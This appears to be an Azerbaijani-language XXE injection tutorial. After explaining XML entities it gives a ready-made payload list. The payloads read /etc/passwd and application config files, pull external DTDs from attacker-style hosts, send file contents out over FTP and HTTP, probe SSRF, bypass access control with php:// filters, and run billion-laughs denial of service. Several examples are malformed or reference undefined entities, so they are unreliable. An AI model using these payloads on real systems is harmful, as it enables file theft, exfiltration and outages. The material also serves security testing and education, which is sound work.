XXE

XML nədir?

XML "extensible markup language" deməkdir. XML məlumatların saxlanması və daşınması üçün nəzərdə tutulmuş bir dildir. HTML kimi, XML də teqlərin və məlumatların ağaca bənzər strukturundan istifadə edir. HTML-dən fərqli olaraq, XML əvvəlcədən təyin edilmiş teqlərdən istifadə etmir və buna görə də teqlərə verilənləri təsvir edən adlar verilə bilər. Əvvəllər internet tarixində XML məlumat nəqli formatı kimi dəbdə idi (“AJAX”dakı “X” “XML” deməkdir). Lakin onun populyarlığı indi JSON formatının xeyrinə azalıb.

XML entities nədir?

XML entities verilənlərin özündən istifadə etmək əvəzinə, XML sənədində məlumat elementini təmsil etmək üsuludur. XML dilinin spesifikasiyasına uyğun olaraq müxtəlif obyektlər qurulur. Məsələn, qurumlar < və > < və > simvollarını təmsil edir. Bunlar XML teqlərini ifadə etmək üçün istifadə edilən metasimvollardır.

XML elementləri nədir?

Element növü qaydaları XML sənədində görünən elementlərin növü və sayı, hansı elementlərin bir-birinin içində görünəcəyi və onların hansı ardıcıllıqla görünməli olduğunu təyin edir. Məsələn:

  • <!ELEMENT stockCheck ANY> Hər hansı bir obyektin parent içində olacağını bildirir<stockCheck></stockCheck>

  • <!ELEMENT stockCheck EMPTY> Bu o deməkdir ki, boş olmalıdır <stockCheck></stockCheck>

  • <!ELEMENT stockCheck (productId,storeId)> Bunu göstərir ki <stockCheck> Bu formada qolları da var<productId> and <storeId>

XML external entities hansılardır?

XML external entities (XXE) XML-də sənədin XML sənədinə daxil edilməsinə fayl və ya verilənlər kimi xarici məzmuna istinad etməyə imkan verən xüsusiyyətdir. Bununla belə, XXE diqqətlə idarə edilmədikdə təhlükəsizlik riski yarada bilər. Təcavüzkar zərərli obyektləri yeritməklə bu funksiyadan istifadə edə bilər və bu, icazəsiz girişə və ya həssas məlumatların paylaşılmasına səbəb ola bilər. Məsələn, yerli fayla işarə edən xarici obyekti göstərən XML faylını nəzərdən keçirin:

Bu nümunədə təcavüzkar Unix əsaslı sistemdə "/etc/passwd" faylının məzmununu əldə edə bilər. XXE hücumlarının qarşısını almaq üçün external entities istinadlarını söndürmək və ya XML emal proqramlarında təhlükəsiz təhlil metodlarından istifadə etmək vacibdir.

XML Parametr entities hansılardır?

Bəzən adi entities-dən istifadə edən XXE hücumları tətbiq tərəfindən bəzi daxilolmaların təsdiqlənməsi və ya istifadə olunan XML analizatorunun bəzi sərtləşməsi səbəbindən bloklanır. Bu vəziyyətdə, əvəzinə XML parametr obyektlərindən istifadə edə bilərsiniz. XML parametr entities-i yalnız DTD daxilində başqa yerdə istinad edilə bilən XML obyektinin xüsusi növüdür. İndilik üçün yalnız iki şeyi bilməlisiniz. Birincisi, XML parametr obyektindən əvvəl faiz simvolu qoyulmalıdır:

<!ENTITY % myparameterentity "my parameter entity value" >

İkincisi, parametr entities-inə adi ampersand əvəzinə faiz simvolu ilə istinad edilir:

%myparameterentity;

Bu o deməkdir ki, siz aşağıdakı kimi XML parametr entities vasitəsilə out-of-band dedection istifadə edərək blind XXE-ni test edə bilərsiniz:

<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>

Bu XXE faydalı yükü xxe adlı XML parametr entity-ni elan edir və sonra DTD daxilində entity-dən istifadə edir. Bu, hücumun uğurlu olduğunu təsdiqləyən DNS axtarışına və təcavüzkarın domeninə HTTP sorğusuna səbəb olacaq.

XML External Entity (XXE) Enjeksiyonu üçün bəzi göstərişlər

XML Entities

  1. Internal Entities

<!ENTITY name "entity_value">
#example 
<!ENTITY test "entity-value">test value</entity-value>
  1. External Entities (Private external entity)

<!ENTITY name SYSTEM "URI">
# Example of private external entity
<!ENTITY textinfo SYSTEM "http://domain.com>
  1. External Entities (Public External Entity)

<!ENTITY name PUBLIC "public_id" "URI">
# Example
<!ENTITY textinfo PUBLIC "-//W3C//TEXT orginfo//EN" "https://www.domain.com/orginfo.xml">
  1. Parameter entities

<!ENTITY % name SYSTEM "URI">
# Example
<!ENTITY % food 'Breakfast'>
<!ENTITY Title 'Bacon & Eggs would be my %course;'>
  1. Unparsed External Entities

<!ENTITY name SYSTEM "URI" NDATA TYPE>
<!ENTITY name PUBLIC "public_id" "URI" NDATA TYPE>

Test Paylaods

Private External Entity istifadə edərək

<?xml version="1.0" ?>
<!DOCTYPE data [
<!ELEMENT data ANY >
<!ENTITY cat "Tom">
]>
<Contact>
<lastName>&cat;</lastName>
<firstName>Jerry</firstName>
</Contact>

Public External Entity istifadə edərək

<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data ANY >
<!ENTITY lastname SYSTEM "file:///etc/passwd">
]>
<Contact>
<lastName>&cat;</lastName>
<firstName>Jerry</firstName>
</Contact>

CDATA

XML fayllarını CDATA vasitəsilə çıxara bilən XXE:

<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data ANY >
<!ENTITY % start "<![CDATA[">
<!ENTITY % file SYSTEM "file:///var/www/html/myapp/WEB-INF/web.xml" >
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://192.168.1.5:8000/wrapper.dtd" >
%dtd;
]>
<Contact>
<lastName>&wrapper;</lastName>
<firstName>FIRSTNAME_FILLER</firstName>
</Contact>

wrapper.dtd daxilində (xarici DTD faylı). Onun məqsədi sadəcə dəyişənləri (parametrləri) 1-ə yığmaqdır.

<!ENTITY wrapper "%start;%file;%end;">

XML istifadə edərək digər növ açıqların test edilməsi:

LFI Test

<?xml version="1.0"?>
<!DOCTYPE foo [  
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>

Blind LFI test (ilk öncə heçnə qaytarmadıqda)

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
<!ENTITY blind SYSTEM "https://www.example.com/?%xxe;">]><foo>&blind;</foo>

Access Control bypass (məhdudlaşdırılmış resursların yüklənməsi - PHP nümunəsi)

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=http://example.com/viewlog.php">]>
<foo><result>&ac;</result></foo>

SSRF Test

<?xml version="1.0"?>
<!DOCTYPE foo [  
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "https://www.example.com/text.txt">]><foo>&xxe;</foo>

XEE (XML Entity Expansion - DOS)

<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

XEE #2 (Uzaqdan hücum - external xml inclusion üzərindən hücum)

<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY test SYSTEM "https://example.com/entity1.xml">]>
<lolz><lol>3..2..1...&test<lol></lolz>

XXE FTP HTTP Server

<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://publicServer.com/parameterEntity_sendftp.dtd">
%remote;
%send;
]>
<data>4</data>

File stored on http://publicServer.com/parameterEntity_sendftp.dtd

<!ENTITY % param1 "<!ENTITY &#37; send SYSTEM 'ftp://publicServer.com/%payload;'>">
%param1;

XXE UTF-7

<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4

UTF-8 və UTF-7 arasında çevirmək üçün recode istifadə edin. UTF8..UTF7 payload-file.xml kodonu yenidən kodlayın.

Last updated

Was this helpful?